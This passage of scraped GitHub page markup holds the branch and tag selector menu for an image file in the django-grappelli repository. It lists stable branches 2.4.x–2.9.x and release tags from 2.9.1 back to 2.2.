css-truncate-target js-select-menu-filter-text">
stable/2.4.x
</span>
</a>
<a class="select-menu-item js-navigation-item
js-navigation-open "
href="/sehmaschine/django-grappelli/blob/stable/2.5.x/grappelli/static/grappelli/jquery/ui/css/custom-theme/images/ui-bg_highlight-soft_75_cccccc_1x100.png"
data-name="stable/2.5.x"
data-skip-pjax="true"
rel="nofollow">
<svg aria-hidden="true" class="octicon
octicon-check select-menu-item-icon" height="16"
version="1.1" viewBox="0 0 12 16"
width="12"><path fill-rule="evenodd" d="M12
5l-8 8-4-4 1.5-1.5L4 10l6.5-6.5z"/></svg>
<span class="select-menu-item-text
css-truncate-target js-select-menu-filter-text">
stable/2.5.x
</span>
</a>
<a class="select-menu-item js-navigation-item
js-navigation-open "
href="/sehmaschine/django-grappelli/blob/stable/2.6.x/grappelli/static/grappelli/jquery/ui/css/custom-theme/images/ui-bg_highlight-soft_75_cccccc_1x100.png"
data-name="stable/2.6.x"
data-skip-pjax="true"
rel="nofollow">
<svg aria-hidden="true" class="octicon
octicon-check select-menu-item-icon" height="16"
version="1.1" viewBox="0 0 12 16"
width="12"><path fill-rule="evenodd" d="M12
5l-8 8-4-4 1.5-1.5L4 10l6.5-6.5z"/></svg>
<span class="select-menu-item-text
css-truncate-target js-select-menu-filter-text">
stable/2.6.x
</span>
</a>
<a class="select-menu-item js-navigation-item
js-navigation-open "
href="/sehmaschine/django-grappelli/blob/stable/2.7.x/grappelli/static/grappelli/jquery/ui/css/custom-theme/images/ui-bg_highlight-soft_75_cccccc_1x100.png"
data-name="stable/2.7.x"
data-skip-pjax="true"
rel="nofollow">
<svg aria-hidden="true" class="octicon
octicon-check select-menu-item-icon" height="16"
version="1.1" viewBox="0 0 12 16"
width="12"><path fill-rule="evenodd" d="M12
5l-8 8-4-4 1.5-1.5L4 10l6.5-6.5z"/></svg>
<span class="select-menu-item-text
css-truncate-target js-select-menu-filter-text">
stable/2.7.x
</span>
</a>
<a class="select-menu-item js-navigation-item
js-navigation-open "
href="/sehmaschine/django-grappelli/blob/stable/2.8.x/grappelli/static/grappelli/jquery/ui/css/custom-theme/images/ui-bg_highlight-soft_75_cccccc_1x100.png"
data-name="stable/2.8.x"
data-skip-pjax="true"
rel="nofollow">
<svg aria-hidden="true" class="octicon
octicon-check select-menu-item-icon" height="16"
version="1.1" viewBox="0 0 12 16"
width="12"><path fill-rule="evenodd" d="M12
5l-8 8-4-4 1.5-1.5L4 10l6.5-6.5z"/></svg>
<span class="select-menu-item-text
css-truncate-target js-select-menu-filter-text">
stable/2.8.x
</span>
</a>
<a class="select-menu-item js-navigation-item
js-navigation-open "
href="/sehmaschine/django-grappelli/blob/stable/2.9.x/grappelli/static/grappelli/jquery/ui/css/custom-theme/images/ui-bg_highlight-soft_75_cccccc_1x100.png"
data-name="stable/2.9.x"
data-skip-pjax="true"
rel="nofollow">
<svg aria-hidden="true" class="octicon
octicon-check select-menu-item-icon" height="16"
version="1.1" viewBox="0 0 12 16"
width="12"><path fill-rule="evenodd" d="M12
5l-8 8-4-4 1.5-1.5L4 10l6.5-6.5z"/></svg>
<span class="select-menu-item-text
css-truncate-target js-select-menu-filter-text">
stable/2.9.x
</span>
</a>
</div>
<div class="select-menu-no-results">Nothing to
show</div>
</div>
<div class="select-menu-list select-menu-tab-bucket
js-select-menu-tab-bucket" data-tab-filter="tags">
<div
data-filterable-for="context-commitish-filter-field"
data-filterable-type="substring">
<a class="select-menu-item js-navigation-item
js-navigation-open "
href="/sehmaschine/django-grappelli/tree/2.9.1/grappelli/static/grappelli/jquery/ui/css/custom-theme/images/ui-bg_highlight-soft_75_cccccc_1x100.png"
data-name="2.9.1"
data-skip-pjax="true"
rel="nofollow">
<svg aria-hidden="true" class="octicon
octicon-check select-menu-item-icon" height="16"
version="1.1" viewBox="0 0 12 16"
width="12"><path fill-rule="evenodd" d="M12
5l-8 8-4-4 1.5-1.5L4 10l6.5-6.5z"/></svg>
<span class="select-menu-item-text
css-truncate-target" title="2.9.1">
2.9.1
</span>
</a>
<a class="select-menu-item js-navigation-item
js-navigation-open "
href="/sehmaschine/django-grappelli/tree/2.8.3/grappelli/static/grappelli/jquery/ui/css/custom-theme/images/ui-bg_highlight-soft_75_cccccc_1x100.png"
data-name="2.8.3"
data-skip-pjax="true"
rel="nofollow">
<svg aria-hidden="true" class="octicon
octicon-check select-menu-item-icon" height="16"
version="1.1" viewBox="0 0 12 16"
width="12"><path fill-rule="evenodd" d="M12
5l-8 8-4-4 1.5-1.5L4 10l6.5-6.5z"/></svg>
<span class="select-menu-item-text
css-truncate-target" title="2.8.3">
2.8.3
</span>
</a>
<a class="select-menu-item js-navigation-item
js-navigation-open "
href="/sehmaschine/django-grappelli/tree/2.8.2/grappelli/static/grappelli/jquery/ui/css/custom-theme/images/ui-bg_highlight-soft_75_cccccc_1x100.png"
data-name="2.8.2"
data-skip-pjax="true"
rel="nofollow">
<svg aria-hidden="true" class="octicon
octicon-check select-menu-item-icon" height="16"
version="1.1" viewBox="0 0 12 16"
width="12"><path fill-rule="evenodd" d="M12
5l-8 8-4-4 1.5-1.5L4 10l6.5-6.5z"/></svg>
<span class="select-menu-item-text
css-truncate-target" title="2.8.2">
2.8.2
</span>
</a>
<a class="select-menu-item js-navigation-item
js-navigation-open "
href="/sehmaschine/django-grappelli/tree/2.8.1/grappelli/static/grappelli/jquery/ui/css/custom-theme/images/ui-bg_highlight-soft_75_cccccc_1x100.png"
data-name="2.8.1"
data-skip-pjax="true"
rel="nofollow">
<svg aria-hidden="true" class="octicon
octicon-check select-menu-item-icon" height="16"
version="1.1" viewBox="0 0 12 16"
width="12"><path fill-rule="evenodd" d="M12
5l-8 8-4-4 1.5-1.5L4 10l6.5-6.5z"/></svg>
<span class="select-menu-item-text
css-truncate-target" title="2.8.1">
2.8.1
</span>
</a>
<a class="select-menu-item js-navigation-item
js-navigation-open "
href="/sehmaschine/django-grappelli/tree/2.7.3/grappelli/static/grappelli/jquery/ui/css/custom-theme/images/ui-bg_highlight-soft_75_cccccc_1x100.png"
data-name="2.7.3"
data-skip-pjax="true"
rel="nofollow">
<svg aria-hidden="true" class="octicon
octicon-check select-menu-item-icon" height="16"
version="1.1" viewBox="0 0 12 16"
width="12"><path fill-rule="evenodd" d="M12
5l-8 8-4-4 1.5-1.5L4 10l6.5-6.5z"/></svg>
<span class="select-menu-item-text
css-truncate-target" title="2.7.3">
2.7.3
</span>
</a>
<a class="select-menu-item js-navigation-item
js-navigation-open "
href="/sehmaschine/django-grappelli/tree/2.7.2/grappelli/static/grappelli/jquery/ui/css/custom-theme/images/ui-bg_highlight-soft_75_cccccc_1x100.png"
data-name="2.7.2"
data-skip-pjax="true"
rel="nofollow">
<svg aria-hidden="true" class="octicon
octicon-check select-menu-item-icon" height="16"
version="1.1" viewBox="0 0 12 16"
width="12"><path fill-rule="evenodd" d="M12
5l-8 8-4-4 1.5-1.5L4 10l6.5-6.5z"/></svg>
<span class="select-menu-item-text
css-truncate-target" title="2.7.2">
2.7.2
</span>
</a>
<a class="select-menu-item js-navigation-item
js-navigation-open "
href="/sehmaschine/django-grappelli/tree/2.7.1/grappelli/static/grappelli/jquery/ui/css/custom-theme/images/ui-bg_highlight-soft_75_cccccc_1x100.png"
data-name="2.7.1"
data-skip-pjax="true"
rel="nofollow">
<svg aria-hidden="true" class="octicon
octicon-check select-menu-item-icon" height="16"
version="1.1" viewBox="0 0 12 16"
width="12"><path fill-rule="evenodd" d="M12
5l-8 8-4-4 1.5-1.5L4 10l6.5-6.5z"/></svg>
<span class="select-menu-item-text
css-truncate-target" title="2.7.1">
2.7.1
</span>
</a>
<a class="select-menu-item js-navigation-item
js-navigation-open "
href="/sehmaschine/django-grappelli/tree/2.6.5/grappelli/static/grappelli/jquery/ui/css/custom-theme/images/ui-bg_highlight-soft_75_cccccc_1x100.png"
data-name="2.6.5"
data-skip-pjax="true"
rel="nofollow">
<svg aria-hidden="true" class="octicon
octicon-check select-menu-item-icon" height="16"
version="1.1" viewBox="0 0 12 16"
width="12"><path fill-rule="evenodd" d="M12
5l-8 8-4-4 1.5-1.5L4 10l6.5-6.5z"/></svg>
<span class="select-menu-item-text
css-truncate-target" title="2.6.5">
2.6.5
</span>
</a>
<a class="select-menu-item js-navigation-item
js-navigation-open "
href="/sehmaschine/django-grappelli/tree/2.6.4/grappelli/static/grappelli/jquery/ui/css/custom-theme/images/ui-bg_highlight-soft_75_cccccc_1x100.png"
data-name="2.6.4"
data-skip-pjax="true"
rel="nofollow">
<svg aria-hidden="true" class="octicon
octicon-check select-menu-item-icon" height="16"
version="1.1" viewBox="0 0 12 16"
width="12"><path fill-rule="evenodd" d="M12
5l-8 8-4-4 1.5-1.5L4 10l6.5-6.5z"/></svg>
<span class="select-menu-item-text
css-truncate-target" title="2.6.4">
2.6.4
</span>
</a>
<a class="select-menu-item js-navigation-item
js-navigation-open "
href="/sehmaschine/django-grappelli/tree/2.6.3/grappelli/static/grappelli/jquery/ui/css/custom-theme/images/ui-bg_highlight-soft_75_cccccc_1x100.png"
data-name="2.6.3"
data-skip-pjax="true"
rel="nofollow">
<svg aria-hidden="true" class="octicon
octicon-check select-menu-item-icon" height="16"
version="1.1" viewBox="0 0 12 16"
width="12"><path fill-rule="evenodd" d="M12
5l-8 8-4-4 1.5-1.5L4 10l6.5-6.5z"/></svg>
<span class="select-menu-item-text
css-truncate-target" title="2.6.3">
2.6.3
</span>
</a>
<a class="select-menu-item js-navigation-item
js-navigation-open "
href="/sehmaschine/django-grappelli/tree/2.6.2/grappelli/static/grappelli/jquery/ui/css/custom-theme/images/ui-bg_highlight-soft_75_cccccc_1x100.png"
data-name="2.6.2"
data-skip-pjax="true"
rel="nofollow">
<svg aria-hidden="true" class="octicon
octicon-check select-menu-item-icon" height="16"
version="1.1" viewBox="0 0 12 16"
width="12"><path fill-rule="evenodd" d="M12
5l-8 8-4-4 1.5-1.5L4 10l6.5-6.5z"/></svg>
<span class="select-menu-item-text
css-truncate-target" title="2.6.2">
2.6.2
</span>
</a>
<a class="select-menu-item js-navigation-item
js-navigation-open "
href="/sehmaschine/django-grappelli/tree/2.6.1/grappelli/static/grappelli/jquery/ui/css/custom-theme/images/ui-bg_highlight-soft_75_cccccc_1x100.png"
data-name="2.6.1"
data-skip-pjax="true"
rel="nofollow">
<svg aria-hidden="true" class="octicon
octicon-check select-menu-item-icon" height="16"
version="1.1" viewBox="0 0 12 16"
width="12"><path fill-rule="evenodd" d="M12
5l-8 8-4-4 1.5-1.5L4 10l6.5-6.5z"/></svg>
<span class="select-menu-item-text
css-truncate-target" title="2.6.1">
2.6.1
</span>
</a>
<a class="select-menu-item js-navigation-item
js-navigation-open "
href="/sehmaschine/django-grappelli/tree/2.5.7/grappelli/static/grappelli/jquery/ui/css/custom-theme/images/ui-bg_highlight-soft_75_cccccc_1x100.png"
data-name="2.5.7"
data-skip-pjax="true"
rel="nofollow">
<svg aria-hidden="true" class="octicon
octicon-check select-menu-item-icon" height="16"
version="1.1" viewBox="0 0 12 16"
width="12"><path fill-rule="evenodd" d="M12
5l-8 8-4-4 1.5-1.5L4 10l6.5-6.5z"/></svg>
<span class="select-menu-item-text
css-truncate-target" title="2.5.7">
2.5.7
</span>
</a>
<a class="select-menu-item js-navigation-item
js-navigation-open "
href="/sehmaschine/django-grappelli/tree/2.5.6/grappelli/static/grappelli/jquery/ui/css/custom-theme/images/ui-bg_highlight-soft_75_cccccc_1x100.png"
data-name="2.5.6"
data-skip-pjax="true"
rel="nofollow">
<svg aria-hidden="true" class="octicon
octicon-check select-menu-item-icon" height="16"
version="1.1" viewBox="0 0 12 16"
width="12"><path fill-rule="evenodd" d="M12
5l-8 8-4-4 1.5-1.5L4 10l6.5-6.5z"/></svg>
<span class="select-menu-item-text
css-truncate-target" title="2.5.6">
2.5.6
</span>
</a>
<a class="select-menu-item js-navigation-item
js-navigation-open "
href="/sehmaschine/django-grappelli/tree/2.5.5/grappelli/static/grappelli/jquery/ui/css/custom-theme/images/ui-bg_highlight-soft_75_cccccc_1x100.png"
data-name="2.5.5"
data-skip-pjax="true"
rel="nofollow">
<svg aria-hidden="true" class="octicon
octicon-check select-menu-item-icon" height="16"
version="1.1" viewBox="0 0 12 16"
width="12"><path fill-rule="evenodd" d="M12
5l-8 8-4-4 1.5-1.5L4 10l6.5-6.5z"/></svg>
<span class="select-menu-item-text
css-truncate-target" title="2.5.5">
2.5.5
</span>
</a>
<a class="select-menu-item js-navigation-item
js-navigation-open "
href="/sehmaschine/django-grappelli/tree/2.5.4/grappelli/static/grappelli/jquery/ui/css/custom-theme/images/ui-bg_highlight-soft_75_cccccc_1x100.png"
data-name="2.5.4"
data-skip-pjax="true"
rel="nofollow">
<svg aria-hidden="true" class="octicon
octicon-check select-menu-item-icon" height="16"
version="1.1" viewBox="0 0 12 16"
width="12"><path fill-rule="evenodd" d="M12
5l-8 8-4-4 1.5-1.5L4 10l6.5-6.5z"/></svg>
<span class="select-menu-item-text
css-truncate-target" title="2.5.4">
2.5.4
</span>
</a>
<a class="select-menu-item js-navigation-item
js-navigation-open "
href="/sehmaschine/django-grappelli/tree/2.5.3/grappelli/static/grappelli/jquery/ui/css/custom-theme/images/ui-bg_highlight-soft_75_cccccc_1x100.png"
data-name="2.5.3"
data-skip-pjax="true"
rel="nofollow">
<svg aria-hidden="true" class="octicon
octicon-check select-menu-item-icon" height="16"
version="1.1" viewBox="0 0 12 16"
width="12"><path fill-rule="evenodd" d="M12
5l-8 8-4-4 1.5-1.5L4 10l6.5-6.5z"/></svg>
<span class="select-menu-item-text
css-truncate-target" title="2.5.3">
2.5.3
</span>
</a>
<a class="select-menu-item js-navigation-item
js-navigation-open "
href="/sehmaschine/django-grappelli/tree/2.5.2/grappelli/static/grappelli/jquery/ui/css/custom-theme/images/ui-bg_highlight-soft_75_cccccc_1x100.png"
data-name="2.5.2"
data-skip-pjax="true"
rel="nofollow">
<svg aria-hidden="true" class="octicon
octicon-check select-menu-item-icon" height="16"
version="1.1" viewBox="0 0 12 16"
width="12"><path fill-rule="evenodd" d="M12
5l-8 8-4-4 1.5-1.5L4 10l6.5-6.5z"/></svg>
<span class="select-menu-item-text
css-truncate-target" title="2.5.2">
2.5.2
</span>
</a>
<a class="select-menu-item js-navigation-item
js-navigation-open "
href="/sehmaschine/django-grappelli/tree/2.5.1/grappelli/static/grappelli/jquery/ui/css/custom-theme/images/ui-bg_highlight-soft_75_cccccc_1x100.png"
data-name="2.5.1"
data-skip-pjax="true"
rel="nofollow">
<svg aria-hidden="true" class="octicon
octicon-check select-menu-item-icon" height="16"
version="1.1" viewBox="0 0 12 16"
width="12"><path fill-rule="evenodd" d="M12
5l-8 8-4-4 1.5-1.5L4 10l6.5-6.5z"/></svg>
<span class="select-menu-item-text
css-truncate-target" title="2.5.1">
2.5.1
</span>
</a>
<a class="select-menu-item js-navigation-item
js-navigation-open "
href="/sehmaschine/django-grappelli/tree/2.5.0/grappelli/static/grappelli/jquery/ui/css/custom-theme/images/ui-bg_highlight-soft_75_cccccc_1x100.png"
data-name="2.5.0"
data-skip-pjax="true"
rel="nofollow">
<svg aria-hidden="true" class="octicon
octicon-check select-menu-item-icon" height="16"
version="1.1" viewBox="0 0 12 16"
width="12"><path fill-rule="evenodd" d="M12
5l-8 8-4-4 1.5-1.5L4 10l6.5-6.5z"/></svg>
<span class="select-menu-item-text
css-truncate-target" title="2.5.0">
2.5.0
</span>
</a>
<a class="select-menu-item js-navigation-item
js-navigation-open "
href="/sehmaschine/django-grappelli/tree/2.4.12/grappelli/static/grappelli/jquery/ui/css/custom-theme/images/ui-bg_highlight-soft_75_cccccc_1x100.png"
data-name="2.4.12"
data-skip-pjax="true"
rel="nofollow">
<svg aria-hidden="true" class="octicon
octicon-check select-menu-item-icon" height="16"
version="1.1" viewBox="0 0 12 16"
width="12"><path fill-rule="evenodd" d="M12
5l-8 8-4-4 1.5-1.5L4 10l6.5-6.5z"/></svg>
<span class="select-menu-item-text
css-truncate-target" title="2.4.12">
2.4.12
</span>
</a>
<a class="select-menu-item js-navigation-item
js-navigation-open "
href="/sehmaschine/django-grappelli/tree/2.4.11/grappelli/static/grappelli/jquery/ui/css/custom-theme/images/ui-bg_highlight-soft_75_cccccc_1x100.png"
data-name="2.4.11"
data-skip-pjax="true"
rel="nofollow">
<svg aria-hidden="true" class="octicon
octicon-check select-menu-item-icon" height="16"
version="1.1" viewBox="0 0 12 16"
width="12"><path fill-rule="evenodd" d="M12
5l-8 8-4-4 1.5-1.5L4 10l6.5-6.5z"/></svg>
<span class="select-menu-item-text
css-truncate-target" title="2.4.11">
2.4.11
</span>
</a>
<a class="select-menu-item js-navigation-item
js-navigation-open "
href="/sehmaschine/django-grappelli/tree/2.4.10/grappelli/static/grappelli/jquery/ui/css/custom-theme/images/ui-bg_highlight-soft_75_cccccc_1x100.png"
data-name="2.4.10"
data-skip-pjax="true"
rel="nofollow">
<svg aria-hidden="true" class="octicon
octicon-check select-menu-item-icon" height="16"
version="1.1" viewBox="0 0 12 16"
width="12"><path fill-rule="evenodd" d="M12
5l-8 8-4-4 1.5-1.5L4 10l6.5-6.5z"/></svg>
<span class="select-menu-item-text
css-truncate-target" title="2.4.10">
2.4.10
</span>
</a>
<a class="select-menu-item js-navigation-item
js-navigation-open "
href="/sehmaschine/django-grappelli/tree/2.4.9/grappelli/static/grappelli/jquery/ui/css/custom-theme/images/ui-bg_highlight-soft_75_cccccc_1x100.png"
data-name="2.4.9"
data-skip-pjax="true"
rel="nofollow">
<svg aria-hidden="true" class="octicon
octicon-check select-menu-item-icon" height="16"
version="1.1" viewBox="0 0 12 16"
width="12"><path fill-rule="evenodd" d="M12
5l-8 8-4-4 1.5-1.5L4 10l6.5-6.5z"/></svg>
<span class="select-menu-item-text
css-truncate-target" title="2.4.9">
2.4.9
</span>
</a>
<a class="select-menu-item js-navigation-item
js-navigation-open "
href="/sehmaschine/django-grappelli/tree/2.4.8/grappelli/static/grappelli/jquery/ui/css/custom-theme/images/ui-bg_highlight-soft_75_cccccc_1x100.png"
data-name="2.4.8"
data-skip-pjax="true"
rel="nofollow">
<svg aria-hidden="true" class="octicon
octicon-check select-menu-item-icon" height="16"
version="1.1" viewBox="0 0 12 16"
width="12"><path fill-rule="evenodd" d="M12
5l-8 8-4-4 1.5-1.5L4 10l6.5-6.5z"/></svg>
<span class="select-menu-item-text
css-truncate-target" title="2.4.8">
2.4.8
</span>
</a>
<a class="select-menu-item js-navigation-item
js-navigation-open "
href="/sehmaschine/django-grappelli/tree/2.4.7/grappelli/static/grappelli/jquery/ui/css/custom-theme/images/ui-bg_highlight-soft_75_cccccc_1x100.png"
data-name="2.4.7"
data-skip-pjax="true"
rel="nofollow">
<svg aria-hidden="true" class="octicon
octicon-check select-menu-item-icon" height="16"
version="1.1" viewBox="0 0 12 16"
width="12"><path fill-rule="evenodd" d="M12
5l-8 8-4-4 1.5-1.5L4 10l6.5-6.5z"/></svg>
<span class="select-menu-item-text
css-truncate-target" title="2.4.7">
2.4.7
</span>
</a>
<a class="select-menu-item js-navigation-item
js-navigation-open "
href="/sehmaschine/django-grappelli/tree/2.4.6/grappelli/static/grappelli/jquery/ui/css/custom-theme/images/ui-bg_highlight-soft_75_cccccc_1x100.png"
data-name="2.4.6"
data-skip-pjax="true"
rel="nofollow">
<svg aria-hidden="true" class="octicon
octicon-check select-menu-item-icon" height="16"
version="1.1" viewBox="0 0 12 16"
width="12"><path fill-rule="evenodd" d="M12
5l-8 8-4-4 1.5-1.5L4 10l6.5-6.5z"/></svg>
<span class="select-menu-item-text
css-truncate-target" title="2.4.6">
2.4.6
</span>
</a>
<a class="select-menu-item js-navigation-item
js-navigation-open "
href="/sehmaschine/django-grappelli/tree/2.4.5/grappelli/static/grappelli/jquery/ui/css/custom-theme/images/ui-bg_highlight-soft_75_cccccc_1x100.png"
data-name="2.4.5"
data-skip-pjax="true"
rel="nofollow">
<svg aria-hidden="true" class="octicon
octicon-check select-menu-item-icon" height="16"
version="1.1" viewBox="0 0 12 16"
width="12"><path fill-rule="evenodd" d="M12
5l-8 8-4-4 1.5-1.5L4 10l6.5-6.5z"/></svg>
<span class="select-menu-item-text
css-truncate-target" title="2.4.5">
2.4.5
</span>
</a>
<a class="select-menu-item js-navigation-item
js-navigation-open "
href="/sehmaschine/django-grappelli/tree/2.4.4/grappelli/static/grappelli/jquery/ui/css/custom-theme/images/ui-bg_highlight-soft_75_cccccc_1x100.png"
data-name="2.4.4"
data-skip-pjax="true"
rel="nofollow">
<svg aria-hidden="true" class="octicon
octicon-check select-menu-item-icon" height="16"
version="1.1" viewBox="0 0 12 16"
width="12"><path fill-rule="evenodd" d="M12
5l-8 8-4-4 1.5-1.5L4 10l6.5-6.5z"/></svg>
<span class="select-menu-item-text
css-truncate-target" title="2.4.4">
2.4.4
</span>
</a>
<a class="select-menu-item js-navigation-item
js-navigation-open "
href="/sehmaschine/django-grappelli/tree/2.4.3/grappelli/static/grappelli/jquery/ui/css/custom-theme/images/ui-bg_highlight-soft_75_cccccc_1x100.png"
data-name="2.4.3"
data-skip-pjax="true"
rel="nofollow">
<svg aria-hidden="true" class="octicon
octicon-check select-menu-item-icon" height="16"
version="1.1" viewBox="0 0 12 16"
width="12"><path fill-rule="evenodd" d="M12
5l-8 8-4-4 1.5-1.5L4 10l6.5-6.5z"/></svg>
<span class="select-menu-item-text
css-truncate-target" title="2.4.3">
2.4.3
</span>
</a>
<a class="select-menu-item js-navigation-item
js-navigation-open "
href="/sehmaschine/django-grappelli/tree/2.4.2/grappelli/static/grappelli/jquery/ui/css/custom-theme/images/ui-bg_highlight-soft_75_cccccc_1x100.png"
data-name="2.4.2"
data-skip-pjax="true"
rel="nofollow">
<svg aria-hidden="true" class="octicon
octicon-check select-menu-item-icon" height="16"
version="1.1" viewBox="0 0 12 16"
width="12"><path fill-rule="evenodd" d="M12
5l-8 8-4-4 1.5-1.5L4 10l6.5-6.5z"/></svg>
<span class="select-menu-item-text
css-truncate-target" title="2.4.2">
2.4.2
</span>
</a>
<a class="select-menu-item js-navigation-item
js-navigation-open "
href="/sehmaschine/django-grappelli/tree/2.4.1/grappelli/static/grappelli/jquery/ui/css/custom-theme/images/ui-bg_highlight-soft_75_cccccc_1x100.png"
data-name="2.4.1"
data-skip-pjax="true"
rel="nofollow">
<svg aria-hidden="true" class="octicon
octicon-check select-menu-item-icon" height="16"
version="1.1" viewBox="0 0 12 16"
width="12"><path fill-rule="evenodd" d="M12
5l-8 8-4-4 1.5-1.5L4 10l6.5-6.5z"/></svg>
<span class="select-menu-item-text
css-truncate-target" title="2.4.1">
2.4.1
</span>
</a>
<a class="select-menu-item js-navigation-item
js-navigation-open "
href="/sehmaschine/django-grappelli/tree/2.4.0/grappelli/static/grappelli/jquery/ui/css/custom-theme/images/ui-bg_highlight-soft_75_cccccc_1x100.png"
data-name="2.4.0"
data-skip-pjax="true"
rel="nofollow">
<svg aria-hidden="true" class="octicon
octicon-check select-menu-item-icon" height="16"
version="1.1" viewBox="0 0 12 16"
width="12"><path fill-rule="evenodd" d="M12
5l-8 8-4-4 1.5-1.5L4 10l6.5-6.5z"/></svg>
<span class="select-menu-item-text
css-truncate-target" title="2.4.0">
2.4.0
</span>
</a>
<a class="select-menu-item js-navigation-item
js-navigation-open "
href="/sehmaschine/django-grappelli/tree/2.3.9/grappelli/static/grappelli/jquery/ui/css/custom-theme/images/ui-bg_highlight-soft_75_cccccc_1x100.png"
data-name="2.3.9"
data-skip-pjax="true"
rel="nofollow">
<svg aria-hidden="true" class="octicon
octicon-check select-menu-item-icon" height="16"
version="1.1" viewBox="0 0 12 16"
width="12"><path fill-rule="evenodd" d="M12
5l-8 8-4-4 1.5-1.5L4 10l6.5-6.5z"/></svg>
<span class="select-menu-item-text
css-truncate-target" title="2.3.9">
2.3.9
</span>
</a>
<a class="select-menu-item js-navigation-item
js-navigation-open "
href="/sehmaschine/django-grappelli/tree/2.3.8/grappelli/static/grappelli/jquery/ui/css/custom-theme/images/ui-bg_highlight-soft_75_cccccc_1x100.png"
data-name="2.3.8"
data-skip-pjax="true"
rel="nofollow">
<svg aria-hidden="true" class="octicon
octicon-check select-menu-item-icon" height="16"
version="1.1" viewBox="0 0 12 16"
width="12"><path fill-rule="evenodd" d="M12
5l-8 8-4-4 1.5-1.5L4 10l6.5-6.5z"/></svg>
<span class="select-menu-item-text
css-truncate-target" title="2.3.8">
2.3.8
</span>
</a>
<a class="select-menu-item js-navigation-item
js-navigation-open "
href="/sehmaschine/django-grappelli/tree/2.3.7/grappelli/static/grappelli/jquery/ui/css/custom-theme/images/ui-bg_highlight-soft_75_cccccc_1x100.png"
data-name="2.3.7"
data-skip-pjax="true"
rel="nofollow">
<svg aria-hidden="true" class="octicon
octicon-check select-menu-item-icon" height="16"
version="1.1" viewBox="0 0 12 16"
width="12"><path fill-rule="evenodd" d="M12
5l-8 8-4-4 1.5-1.5L4 10l6.5-6.5z"/></svg>
<span class="select-menu-item-text
css-truncate-target" title="2.3.7">
2.3.7
</span>
</a>
<a class="select-menu-item js-navigation-item
js-navigation-open "
href="/sehmaschine/django-grappelli/tree/2.3.6/grappelli/static/grappelli/jquery/ui/css/custom-theme/images/ui-bg_highlight-soft_75_cccccc_1x100.png"
data-name="2.3.6"
data-skip-pjax="true"
rel="nofollow">
<svg aria-hidden="true" class="octicon
octicon-check select-menu-item-icon" height="16"
version="1.1" viewBox="0 0 12 16"
width="12"><path fill-rule="evenodd" d="M12
5l-8 8-4-4 1.5-1.5L4 10l6.5-6.5z"/></svg>
<span class="select-menu-item-text
css-truncate-target" title="2.3.6">
2.3.6
</span>
</a>
<a class="select-menu-item js-navigation-item
js-navigation-open "
href="/sehmaschine/django-grappelli/tree/2.3.5/grappelli/static/grappelli/jquery/ui/css/custom-theme/images/ui-bg_highlight-soft_75_cccccc_1x100.png"
data-name="2.3.5"
data-skip-pjax="true"
rel="nofollow">
<svg aria-hidden="true" class="octicon
octicon-check select-menu-item-icon" height="16"
version="1.1" viewBox="0 0 12 16"
width="12"><path fill-rule="evenodd" d="M12
5l-8 8-4-4 1.5-1.5L4 10l6.5-6.5z"/></svg>
<span class="select-menu-item-text
css-truncate-target" title="2.3.5">
2.3.5
</span>
</a>
<a class="select-menu-item js-navigation-item
js-navigation-open "
href="/sehmaschine/django-grappelli/tree/2.3.4/grappelli/static/grappelli/jquery/ui/css/custom-theme/images/ui-bg_highlight-soft_75_cccccc_1x100.png"
data-name="2.3.4"
data-skip-pjax="true"
rel="nofollow">
<svg aria-hidden="true" class="octicon
octicon-check select-menu-item-icon" height="16"
version="1.1" viewBox="0 0 12 16"
width="12"><path fill-rule="evenodd" d="M12
5l-8 8-4-4 1.5-1.5L4 10l6.5-6.5z"/></svg>
<span class="select-menu-item-text
css-truncate-target" title="2.3.4">
2.3.4
</span>
</a>
<a class="select-menu-item js-navigation-item
js-navigation-open "
href="/sehmaschine/django-grappelli/tree/2.3.3/grappelli/static/grappelli/jquery/ui/css/custom-theme/images/ui-bg_highlight-soft_75_cccccc_1x100.png"
data-name="2.3.3"
data-skip-pjax="true"
rel="nofollow">
<svg aria-hidden="true" class="octicon
octicon-check select-menu-item-icon" height="16"
version="1.1" viewBox="0 0 12 16"
width="12"><path fill-rule="evenodd" d="M12
5l-8 8-4-4 1.5-1.5L4 10l6.5-6.5z"/></svg>
<span class="select-menu-item-text
css-truncate-target" title="2.3.3">
2.3.3
</span>
</a>
<a class="select-menu-item js-navigation-item
js-navigation-open "
href="/sehmaschine/django-grappelli/tree/2.3.2/grappelli/static/grappelli/jquery/ui/css/custom-theme/images/ui-bg_highlight-soft_75_cccccc_1x100.png"
data-name="2.3.2"
data-skip-pjax="true"
rel="nofollow">
<svg aria-hidden="true" class="octicon
octicon-check select-menu-item-icon" height="16"
version="1.1" viewBox="0 0 12 16"
width="12"><path fill-rule="evenodd" d="M12
5l-8 8-4-4 1.5-1.5L4 10l6.5-6.5z"/></svg>
<span class="select-menu-item-text
css-truncate-target" title="2.3.2">
2.3.2
</span>
</a>
<a class="select-menu-item js-navigation-item
js-navigation-open "
href="/sehmaschine/django-grappelli/tree/2.3.1/grappelli/static/grappelli/jquery/ui/css/custom-theme/images/ui-bg_highlight-soft_75_cccccc_1x100.png"
data-name="2.3.1"
data-skip-pjax="true"
rel="nofollow">
<svg aria-hidden="true" class="octicon
octicon-check select-menu-item-icon" height="16"
version="1.1" viewBox="0 0 12 16"
width="12"><path fill-rule="evenodd" d="M12
5l-8 8-4-4 1.5-1.5L4 10l6.5-6.5z"/></svg>
<span class="select-menu-item-text
css-truncate-target" title="2.3.1">
2.3.1
</span>
</a>
<a class="select-menu-item js-navigation-item
js-navigation-open "
href="/sehmaschine/django-grappelli/tree/2.3/grappelli/static/grappelli/jquery/ui/css/custom-theme/images/ui-bg_highlight-soft_75_cccccc_1x100.png"
data-name="2.3"
data-skip-pjax="true"
rel="nofollow">
<svg aria-hidden="true" class="octicon
octicon-check select-menu-item-icon" height="16"
version="1.1" viewBox="0 0 12 16"
width="12"><path fill-rule="evenodd" d="M12
5l-8 8-4-4 1.5-1.5L4 10l6.5-6.5z"/></svg>
<span class="select-menu-item-text
css-truncate-target" title="2.3">
2.3
</span>
</a>
<a class="select-menu-item js-navigation-item
js-navigation-open "
href="/sehmaschine/django-grappelli/tree/2.2/grappelli/static/grappelli/jquery/ui/css/custom-theme/images/ui-bg_highlight-soft_75_cccccc_1x100.png"
data-name="2.2"
data-skip-pjax="true"
rel="nofollow">
<svg aria-hidden="true" class="octicon
octicon-check select-menu-item-icon" height="16"
version="1.1" viewBox="0 0 12 16"
width="12"><path fill-rule="evenodd" d="M12
